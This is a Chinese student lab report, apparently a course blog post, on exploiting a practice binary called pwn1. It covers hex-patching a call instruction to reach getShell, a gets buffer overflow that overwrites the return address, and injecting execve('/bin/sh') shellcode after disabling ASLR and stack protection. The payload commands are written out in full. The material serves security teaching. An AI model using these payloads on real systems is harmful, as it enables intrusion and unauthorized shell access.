一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
二、实践原理
(一)常见汇编指令
指令 | 机器码 | 说明 |
NOP | 0x90 | 空指令,什么也不做 |
JNE | 0x75 | 条件转移指令,不相等则跳转 |
JE | 0x74 | 条件转移指令,相等则跳转 |
JMP |
0xe9 0xeb 0x f f 0xea |
段内直接近转移Jmp near 段内直接短转Jmp short 段内间接转移Jmp word 段间直接(远)转移Jmp far |
CMP | 0x39 | 比较指令,相当于减法,可以改变标志位,不保存结果 |
(二)Linux基本操作
1.管道操作
管道操作是指将一端命令的输出交给另一端的命令处理。
格式:命令1 | 命令2
2.输入输出重定向
输入输出重定向是指改变执行命令时的默认输入与输出
重定向输入 <,重定向输出 > >>
shell 输入输出重定向:command > file 输出重定向到file file里的内容会被新内容替换掉,command >> file 输出重定向到file 内容添加到file文件末尾。
3.Bof相关原理
反汇编命令:objdump -d [文件名] | more
反汇编文件格式:内存地址、机器指令、机器指令对应的汇编语言
EIP寄存器:指向下一条要执行的指令
4.相关工具gdb和vi
(1)gdb调试工具
gdb是GNU开源组织发布的一个强大的UNIX下的程序调试工具。与Window下的IDE不同,GDB是纯命令行执行的,并没有图形界面方法。本次实践用到的命令有:
gdb命令 | 参数 | 含义 |
run | 命令行参数 | 运行程序,可简写为r |
info | break | 显示断点信息 |
quit | 退出 |
(2)vi工具
vi是 Unix 操作系统和类 Unix 操作系统中最通用的文本编辑器。以 vi 打开一个文档就直接进入一般模式,在一般模式中可以进行删除、复制、粘贴等的动作,但是却无法编辑文件内容的,按下『i, I, o, O, a, A, r, R』等任何一个字母之后会进入编辑模式,编辑模式下按Esc键可退回一般模式。
三、实践过程
先将附件中下载的pwn1文件复制到本机的共享文件夹中,但是悲哀地发现之前安装的时候可以共享文件,现在共享文件夹竟然是空的。查找资料和多次尝试之后,推测可能是vm-tools的问题,解决方法如下:
①重新安装vm-tools
右键单击虚拟机,点击【设置】,选择硬件【CD/DVD(SATA)】,使用ISO镜像目录为C:Program Files (x86)VMwareVMware Workstation下的linux镜像
点击【确定】后在虚拟机右下角找到【CDDVD】右键单击选择【链接】
此时桌面会出现【VMware Tools】,右键选择【挂载卷】然后打开
选择压缩文件进行解压至/tmp文件
然后打开终端,输入 cd /tmp/vmware-tools-distrib ./vmware-install.pl ,一路回车,最后安装完成后重启。
②挂载共享文件。
输入 sudo apt-get install open-vm-dkms 和 sudo apt-get install open-vw-tools-dkms 都显示无法定位软件包,最后成功的命令是 sudo apt-get install open-vw-tools ,之所以出现这种情况是因为源的不同,可以多尝试几个。
然后输入命令 sudo vmhgfs-fuse .host:/ /mnt/hgfs ,显示
使用命令 sudo vmhgfs-fuse .host:/ /mnt/hgfs -o nonempty -o allow_other 即可。此时打开共享文件夹可以看到20174309pwn1文件。 以上就当做对前一篇博客的补充。
(一)改程序机器指令
1.反汇编分析程序
使用 cp 20174309pwn1 4309pwn1 对文件进行备份, objdump 4309pwn1 -d |more 进行反汇编。
分析main函数中,按照正常流程,call指令会调用foo函数,e8是call指令的机器码,后面跟着四字节的偏移量ff ff ff d7(小端序,补码)。call指令在执行时,会将EIP的值(即下一条指令的地址:0x080484ba)压栈,然后修改寄存器EIP,EIP+偏移量= 0x080484b + 0xffffffd7 = 0x08048491,将EIP指向foo函数的起始地址。
我们需要修改call指令的偏移量,根据“目的地址=EIP(call的下一条指令的地址)+偏移量”,新的偏移量 = 0x0804847d(getShell函数的起始地址) - 0x080484ba = 0xffffffc3。
2.vi修改程序
用vi打开4309pwn1文件后是乱码,按ESC键后输入 :%!xxd 回车可显示16进制,输入 /d7 可以搜索文件中所有的d7,结合反汇编中d7相邻的数字可以确定位置,使用按r键修改d7位为c3,然后输入 :%!xxd -r 改为原来的格式,输入 :wq 保存并退出。
3.验证修改成功
先对修改后的文件进行反汇编如下,可以看到call指令后的函数已变为getshell。
运行文件结果如下,可知修改成功。
(二)BOF改变指令流
1.反汇编查看程序功能
(1)调用gets函数,该函数不会检查用户输入的长度,通过“栈溢出”覆盖EIP可以改变程序的执行流。
(2)预留局部变量的空间为0x38,其中gets函数存放读取到字符串的空间为0x1c(十进制28)。
(3)在【push %ebp】指令之前是call指令(等于push + jmp),此外还有栈底指针ebp,可得堆栈结构(红色为foo函数的堆栈)如下:
因此我们需要构造长度为36的字符串,其中第33-36字节是我们需要覆盖的地址。
2.gdb验证覆盖地址
输入 sudo apt-get install gdb 安装gdb工具,进入文件目录后运行未修改的pwn文件 gdb 20174309pwn1 ,输入r运行,输入40个字节的字符串后出现段错误,输入【info r】可以看到EIP的值为0x35353535,可以验证第33-36为EIP的空间。
3.构造输入字符串
由上分析的需把33-36这四位改为getshell的内存地址0x0804847d,又因为是小端优先,所以构造的字符串为11111111222222223333333344444444x7dx84x04x08。由于键盘无法输入16进制,因而先用Perl命令生成字符串文件。
输入命令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' >input ,使用 xxd input 验证字符串文件是否正确。
对原文件备份后将input的输入通过管道符“ | ”作为4309pwn2的输入 (cat input; cat) | ./4309pwn2 ,然后可以输入getshell命令进行验证。
(三)注入shellcode并执行
1.准备工作
修改以下设置:(红色为显示的结果)
root@KaliYL:~# execstack -s 4309pwn3 //设置堆栈可执行 root@KaliYL:~# execstack -q 4309pwn3 //查询文件的堆栈是否可执行 X 4309pwn3 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 0
(1)输入第一条指令时出现【bash:execstack:未找到命令】,解决方案:输入 sudo apt-get install prelink 即可。
(2)输入第四条指令时显示权限不够,转换root用户时出现【su:鉴定故障】,可能是root用户未设置密码,解决方案: sudo passwd root 重置密码,然后 su root 再输入后续指令即可。
2.构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
输入指令 perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。 特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。
接下来确定x4x3x2x1具体是多少。
输入指令 (cat input_shellcode;cat) | ./4309pwn3 ,切记不可因为没有显示就再按一次回车,因为会使程序执行结束,也就无法找到进程号。
再打开另外一个终端,输入 ps -ef | grep 4309pwn3 来找到4309pwn3的进程号为3886。如果只有一行显示就是不对的,可以从上一行开始重新操作。
用gdb工具调试4309pwn3这个程序。
通过设置断点,来查看注入buf的内存地址。先用 disassemble foo 对foo函数进行反汇编,断点应该放到返回以前,因为返回的话就会执行POP EIP,把我们之前放的x4x3x2x1 POP进去发生段错误。然后用 break *0x080484ae 来设置断点
设置完断点后要回到之前的终端按下回车键,此时gets程序已经完成,输入c继续执行。
输入 info r esp 查看esp寄存器的地址为0xffffd35c,shellcode就在后面为0xffffd35c + 0x00000004=0xffffd360(不踩老师的坑 [手动狗头] )。
退出gdb工具,输入指令 perl -e 'print "A" x 32;print "x60xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode 来改变覆盖地址,然后输入 (cat input_shellcode;cat) | ./4309pwn3 运行,此时便可以进执行机器指令了。
四、实践总结
第一次网络对抗实践,第一次使用博客写实验报告(顺便吐槽博客园的格式着实难受),感觉打开了新世界的大门。
(一)收获与感想
实践过程主要是跟着老师发在云班课的视频走的,过程也比较顺畅没什么大的问题。我觉得本次实践最重要的就是函数运行中堆栈的变化过程,这一项老师也在视频中多次讲解,已经十分细致,好好看视频理解起来也不是特别困难。
收获就比较多了,机器指令、十六进制、反汇编和溢出攻击等等,也自己查阅了很多资料。课程知识是一方面,更重要的是亲自动手操作的乐趣和成就感。对Linux系统也有了更大的兴趣,或许等结课以后可以试着给自己电脑装一个Linux系统。
(二)什么是漏洞?漏洞有什么危害?
我认为漏洞是计算机和网络中可以用来进行攻击的各种弱点和缺陷。
漏洞可能导致系统异常或崩溃、信息泄露、网页篡改等,危害个人或组织的财产、隐私、甚至是国家机密,危害人身安全和社会正常运转,影响经济社会发展。